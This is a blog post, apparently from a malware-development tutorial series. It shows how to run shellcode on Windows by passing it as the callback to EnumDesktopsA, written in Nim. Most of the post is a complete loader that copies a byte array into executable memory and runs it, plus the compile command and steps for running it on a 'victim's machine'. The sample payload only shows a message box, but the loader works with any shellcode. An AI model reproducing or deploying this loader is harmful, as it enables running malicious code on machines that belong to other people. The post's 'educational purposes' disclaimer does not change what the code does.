Malware development trick 39: Run payload via EnumDesktopsA. Simple Nim example.

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By: cocomelonc

12 June 2024 at 01:00

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Hello, cybersecurity enthusiasts and white hackers!

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This post is just checking correctness of running payload via EnumDesktopsA in Nim programming language.

EnumDesktopsA function passes the name of each desktop to a callback function defined by the application:

BOOL EnumDesktopsA(
  HWINSTA          hwinsta,
  DESKTOPENUMPROCA lpEnumFunc,
  LPARAM           lParam
);

practical example

Just update our C code from one of the previous posts with Nim language:

import system
import winim

when isMainModule:
  let payload: seq[byte] = @[
    byte 0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x0, 0x0, 0x0, 0x41, 0x51, 0x41,
    0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52,
    0x18, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, 0xf, 0xb7, 0x4a,
    0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x2, 0x2c, 0x20, 0x41, 0xc1,
    0xc9, 0xd, 0x41, 0x1, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e,
    0x8b, 0x42, 0x3c, 0x48, 0x1, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x0, 0x0, 0x0, 0x48, 0x85, 0xc0,
    0x74, 0x6f, 0x48, 0x1, 0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44, 0x8b, 0x40, 0x20, 0x49,
    0x1, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x1, 0xd6, 0x4d,
    0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0x38, 0xe0, 0x75,
    0xf1, 0x3e, 0x4c, 0x3, 0x4c, 0x24, 0x8, 0x45, 0x39, 0xd1, 0x75, 0xd6, 0x58, 0x3e, 0x44, 0x8b,
    0x40, 0x24, 0x49, 0x1, 0xd0, 0x66, 0x3e, 0x41, 0x8b, 0xc, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c,
    0x49, 0x1, 0xd0, 0x3e, 0x41, 0x8b, 0x4, 0x88, 0x48, 0x1, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e,
    0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0,
    0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12, 0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xc7,
    0xc1, 0x0, 0x0, 0x0, 0x0, 0x3e, 0x48, 0x8d, 0x95, 0xfe, 0x0, 0x0, 0x0, 0x3e, 0x4c, 0x8d, 0x85,
    0x9, 0x1, 0x0, 0x0, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83, 0x56, 0x7, 0xff, 0xd5, 0x48,
    0x31, 0xc9, 0x41, 0xba, 0xf0, 0xb5, 0xa2, 0x56, 0xff, 0xd5, 0x4d, 0x65, 0x6f, 0x77, 0x2d, 0x6d,
    0x65, 0x6f, 0x77, 0x21, 0x0, 0x3d, 0x5e, 0x2e, 0x2e, 0x5e, 0x3d, 0x0
  ]

  let mem = VirtualAlloc(
    NULL, cast[SIZE_T](payload.len), 
    MEM_COMMIT, PAGE_EXECUTE_READWRITE
    )
  RtlMoveMemory(
    mem, 
    unsafeAddr payload[0], 
    cast[SIZE_T](payload.len)
    )
  EnumDesktopsA(
    GetProcessWindowStation(), 
    cast[DESKTOPENUMPROCA](mem), 
    cast[LPARAM](NULL)
    )

As usual, I used meow-meow messagebox payload:

let payload: seq[byte] = @[
    byte 0xfc, 0x48, 0x81, 0xe4, 0xf0, 0xff, 0xff, 0xff, 0xe8, 0xd0, 0x0, 0x0, 0x0, 0x41, 0x51, 0x41,
    0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xd2, 0x65, 0x48, 0x8b, 0x52, 0x60, 0x3e, 0x48, 0x8b, 0x52,
    0x18, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e, 0x48, 0x8b, 0x72, 0x50, 0x3e, 0x48, 0xf, 0xb7, 0x4a,
    0x4a, 0x4d, 0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x3c, 0x61, 0x7c, 0x2, 0x2c, 0x20, 0x41, 0xc1,
    0xc9, 0xd, 0x41, 0x1, 0xc1, 0xe2, 0xed, 0x52, 0x41, 0x51, 0x3e, 0x48, 0x8b, 0x52, 0x20, 0x3e,
    0x8b, 0x42, 0x3c, 0x48, 0x1, 0xd0, 0x3e, 0x8b, 0x80, 0x88, 0x0, 0x0, 0x0, 0x48, 0x85, 0xc0,
    0x74, 0x6f, 0x48, 0x1, 0xd0, 0x50, 0x3e, 0x8b, 0x48, 0x18, 0x3e, 0x44, 0x8b, 0x40, 0x20, 0x49,
    0x1, 0xd0, 0xe3, 0x5c, 0x48, 0xff, 0xc9, 0x3e, 0x41, 0x8b, 0x34, 0x88, 0x48, 0x1, 0xd6, 0x4d,
    0x31, 0xc9, 0x48, 0x31, 0xc0, 0xac, 0x41, 0xc1, 0xc9, 0xd, 0x41, 0x1, 0xc1, 0x38, 0xe0, 0x75,
    0xf1, 0x3e, 0x4c, 0x3, 0x4c, 0x24, 0x8, 0x45, 0x39, 0xd1, 0x75, 0xd6, 0x58, 0x3e, 0x44, 0x8b,
    0x40, 0x24, 0x49, 0x1, 0xd0, 0x66, 0x3e, 0x41, 0x8b, 0xc, 0x48, 0x3e, 0x44, 0x8b, 0x40, 0x1c,
    0x49, 0x1, 0xd0, 0x3e, 0x41, 0x8b, 0x4, 0x88, 0x48, 0x1, 0xd0, 0x41, 0x58, 0x41, 0x58, 0x5e,
    0x59, 0x5a, 0x41, 0x58, 0x41, 0x59, 0x41, 0x5a, 0x48, 0x83, 0xec, 0x20, 0x41, 0x52, 0xff, 0xe0,
    0x58, 0x41, 0x59, 0x5a, 0x3e, 0x48, 0x8b, 0x12, 0xe9, 0x49, 0xff, 0xff, 0xff, 0x5d, 0x49, 0xc7,
    0xc1, 0x0, 0x0, 0x0, 0x0, 0x3e, 0x48, 0x8d, 0x95, 0xfe, 0x0, 0x0, 0x0, 0x3e, 0x4c, 0x8d, 0x85,
    0x9, 0x1, 0x0, 0x0, 0x48, 0x31, 0xc9, 0x41, 0xba, 0x45, 0x83, 0x56, 0x7, 0xff, 0xd5, 0x48,
    0x31, 0xc9, 0x41, 0xba, 0xf0, 0xb5, 0xa2, 0x56, 0xff, 0xd5, 0x4d, 0x65, 0x6f, 0x77, 0x2d, 0x6d,
    0x65, 0x6f, 0x77, 0x21, 0x0, 0x3d, 0x5e, 0x2e, 0x2e, 0x5e, 0x3d, 0x0
  ]

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Let’s check it in action. Compile it:

nim c -d:mingw --cpu:amd64 hack.nim

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Then, just move it to the victim’s machine (Windows 11 in my case) and run:

.\hack.exe

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As you can see, everything is worked perfectly also for Nim language =^..^=!

Malware development trick 20: Run shellcode via EnumDesktopsA, C example
source code in github

This is a practical case for educational purposes only.

Thanks for your time happy hacking and good bye!
PS. All drawings and screenshots are mine

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